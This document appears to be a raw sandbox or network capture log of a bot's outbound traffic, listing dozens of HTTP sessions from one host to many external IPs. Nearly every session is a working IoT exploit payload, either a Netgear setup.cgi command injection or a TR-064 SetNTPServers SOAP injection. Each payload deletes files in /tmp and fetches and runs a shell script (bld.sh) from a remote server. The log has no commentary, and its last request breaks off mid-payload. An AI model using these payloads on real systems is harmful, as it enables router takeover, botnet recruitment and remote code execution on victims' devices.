May 16, 2024 16:39:01.492588043 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	42324	125.195.20.39	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:02.097095966 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	41974	12.75.248.199	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.476283073 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	59478	158.148.125.99	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.493854046 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	43658	82.88.139.252	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.500410080 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	58226	193.213.19.125	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.506496906 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	60530	8.172.120.59	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.506752014 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	36038	141.201.95.83	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.506975889 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	56254	116.27.125.92	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.507117033 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	42478	198.140.79.225	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.509340048 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	34372	1.213.162.54	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.512197018 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	59346	27.250.63.203	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:05.513163090 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	48500	223.160.162.32	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:06.111880064 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	52858	51.38.6.128	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:09.560215950 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	38876	19.161.148.119	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:09.560422897 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	35132	154.141.120.120	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:09.569983006 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	41208	29.67.192.209	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:09.587307930 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	47444	25.93.72.242	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:09.587543011 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	42638	106.232.154.28	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:09.589982033 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	46886	57.149.215.70	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:09.591888905 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	52664	13.76.248.35	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:09.592093945 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	47236	76.160.156.195	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:09.595122099 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	49398	204.250.208.68	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:11.095822096 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	50716	90.26.101.166	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.634197950 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	49390	72.121.120.109	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.656744957 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	42650	66.53.197.168	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.656949043 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	33530	158.131.1.161	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.657143116 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	38618	206.92.128.139	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.658796072 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	37620	173.127.104.48	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.661858082 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	33188	37.208.175.64	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.662034035 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	36772	206.205.86.165	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.663454056 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	58096	84.237.126.186	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.663774967 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	49922	174.215.71.75	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:13.665738106 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	45482	174.168.65.218	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:14.353055954 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	47574	203.139.123.92	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:17.786843061 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	51472	166.120.209.167	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:17.795591116 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	51680	39.236.180.173	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:17.809976101 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	53326	136.75.183.103	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:17.814719915 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	54612	98.86.22.140	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:17.820923090 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	44618	3.3.134.220	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:17.821135044 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	57270	42.118.34.45	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:17.821352959 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	42376	73.29.137.199	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:17.821585894 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	56776	32.212.92.127	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:18.666826010 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo 